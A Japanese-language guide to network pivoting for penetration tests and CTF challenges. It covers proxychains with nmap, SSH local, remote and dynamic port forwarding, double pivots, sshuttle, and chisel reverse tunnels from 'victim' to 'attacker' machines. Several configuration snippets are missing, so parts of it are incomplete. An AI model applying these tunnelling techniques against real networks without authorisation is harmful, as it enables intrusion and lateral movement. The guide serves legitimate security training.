
ペネトレーションテスト / CTF チャレンジのためのネットワークピボティングのコンパクトなガイド
SOCKSプロキシのテストにICMPエコー要求(ping)を使用しないでください。
SOCKSは、プロキシサーバーを介してクライアントとサーバー間でネットワークパケットを交換するインターネットプロトコルです。実際には、SOCKSサーバーは任意のIPアドレスへのTCP接続をプロキシし、UDPパケットを転送する手段を提供します。ピボットトンネルを介してホストに対してSSHを試みるかHTTP GETリクエストを送信するなど、TCPベースのプロトコルを使用してテストする必要があります。
NMAPはTCPコネクトスキャン(-sT)とpingなし(-Pn)で使用してください
これはバージョンスキャン(-sV)とスクリプトスキャン(-sC)にも適用されます。これらは-sTおよび-Pnと組み合わせて使用する必要があります。
例:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains nmap -sT -Pn -sV -sC -p 21,80,443,445 x.x.x.x
ヒント: naabu を被害者マシンにアップロードして、思いのままにスキャンできます。
proxychainsでスクリプトとバイナリを使用する
proxychainsを使う際のヒントとして、インタープリタ型プログラム(Pythonスクリプトなど)を実行する場合は、スクリプトがシバンで始まっていても、そのスクリプトの前にPythonバイナリを明示的に指定することをお勧めします。例:
proxychains4 [-q -f proxychains.conf] python python_script.py
このようにスクリプトインタープリタを明示的に指定しないと、スクリプトから生成されるトラフィックが意図したとおりにプロキシ経由でルーティングされず、ネットワーク接続が失敗することがあります。ヒントの出典
/etc/proxychains.confの「quite mode」の行をコメント解除して、時々煩わしいstdout出力を避けてください。
これは単なる提案です。
ローカル(SSHクライアント)マシンにソケットを作成し、SOCKSプロキシサーバーとして機能させることができます。クライアントがこのポートに接続すると、その接続はリモート(SSHサーバー)マシンに転送され、その後、宛先マシンの動的ポートに転送されます。
設定方法:
/etc/proxychains.confを編集し、次のように設定します。
SSH動的ポートフォワーディングを設定します:
ssh -D 127.0.0.1:9050 user@victim-IP
使用例:
x.x.x.xはトンネルされたネットワークに属するホストのIPアドレスです:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains smbmap -H x.x.x.x
proxychains ssh [email protected]
トンネル経由でFirefoxを使用するには:
proxychains firefox
ピボットトンネル経由でリバースシェルを取得する方法を探しているなら、これが必要です。リモート(被害者)マシンのポートをローカル(攻撃者)マシンのポートに転送できます。
設定方法:
被害者マシンにSSH接続します。
/etc/ssh/sshd_configを編集して、次のように設定します。
*これは非常に重要ですが、Web上の多くのガイドでは言及されていません。これを行わないと、トンネルを0.0.0.0ではなく127.0.0.1にしか設定できず、localhost以外のホストからのトラフィックが転送されなくなります。
sudo service ssh restartSSHリモートポートフォワーディングを設定します:
基本的には、前述のように設定した後、コマンドはこれだけです:
ssh -R 2222:*:2222 user@victim-IP
動作するかテストするには、次のようにします。
攻撃者マシン(リモートフォワードを設定したポート、この例では2222)にリスナー(netcatなど)を設定し、被害者マシンから自分自身(localhost)にリクエストを送信します。この例では、nc 127.0.0.1 2222になります。攻撃者マシンが接続を受信した場合、a) 動作しており、b) ピボットホストからvictimip:2222へのすべての接続が攻撃者マシンに転送されることを意味します。
複数のポートを次のように設定できます:
ssh -R 2222:*:2222 -R 3333:*:3333 user@victim-IP
注意: 外部ホスト(ピボットネットワーク)からのリクエストは、攻撃者マシンに転送されるように、被害者IP宛てである必要があります。
*被害者マシンから攻撃者マシンへのSSH接続によっても、リモートポートフォワーディングを実装できます。
ローカルポートフォワーディングを使用すると、ローカル(攻撃者)マシンのポートをリモート(被害者)マシンのポートに転送できます。被害者のローカルポートをスキャンするのに特に便利です。
使用法:
ssh user@victim-IP -L 8888:127.0.0.1:8086
これで、たとえばnmapを使用して被害者マシンのポート8086を次のようにスキャンできます:
nmap -Pn -n -p8888 -sV 127.0.0.1
SSH動的ポートフォワーディングとProxychainsを使用したダブルピボットの実装例。
概念:
次の4台のマシンがあるとします。
| IP | 役割 |
|---|---|
| 10.10.10.10 | 攻撃者 |
| 10.10.10.11 | Jumphost1 |
| 172.16.1.12 | Jumphost2 |
| 172.16.2.13 | Jumphost3 |
攻撃者はJumphost1に到達できます。
Jumphost1はJumphost2に到達できます。
Jumphost2はJumphost3に到達できます。
...
socks4 127.0.0.1 9050
socks4 127.0.0.1 9999
ssh -D 127.0.0.1:9999 user@Jumphost2
これでJumphost3に到達できるはずです。
sshuttleを使用すると、SSHを介してマシンから任意のリモートサーバーへのVPN接続を作成できます。サーバーにPython 2.3以上がインストールされている必要があります。動作させるには、ローカルマシンでrootアクセスが必要ですが、サーバーには通常のアカウントでログインできます。クライアントマシン上でsshuttleを同時に複数回実行し、毎回異なるサーバーに接続することができるため、一度に複数のVPNに接続できます。sshuttle GitHubリポジトリを確認してください。
使用法:
172.16.2.0/16にピボットするとします:
sshuttle -vvr root@victim 172.16.2.0/16
SSHキーを使用する場合:
sshuttle -vvr root@victim --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 172.16.2.0/16
Chiselは、HTTP上で転送され、SSHで保護された高速なTCP/UDPトンネルです。クライアントとサーバーの両方を含む単一の実行ファイルで、Go(golang)で書かれています。非常に優れており便利です。
インストール:
Kaliにchiselを簡単にインストールできます:
apt install chisel
使用するには、chiselバイナリを被害者マシンにアップロードする必要もあります。プリコンパイル済みのバージョンはここからダウンロードできます。
ローカルポートフォワーディングの例
攻撃者マシンで:
chisel server -p 8000 --reverse
被害者マシンで:
./chisel_1.7.7_linux_amd64 client attacker-ip:8000 R:1234:127.0.0.1:8443
これにより、攻撃者マシンのポート1234から被害者マシンのポート8443へのトラフィックが転送されます。
Burpsuiteはプロキシを設定する機能をサポートしており、これは非常に便利で強力な機能です。
設定方法:
Burpsuiteを起動し、次のように設定します:
SSH動的ポートフォワーディングまたはsshuttleの設定と組み合わせることで、localhostのバインドポートにトラフィックを送信して、Burpsuiteで目的のホストにトラフィックをピボットできます。トンネル経由のgobusterディレクトリブルートフォースの便利な例(リダイレクトポートとしてポート2222を設定した場合):
gobuster dir -u http://127.0.0.1:2222 -t 40 -w /some/dirlist.txt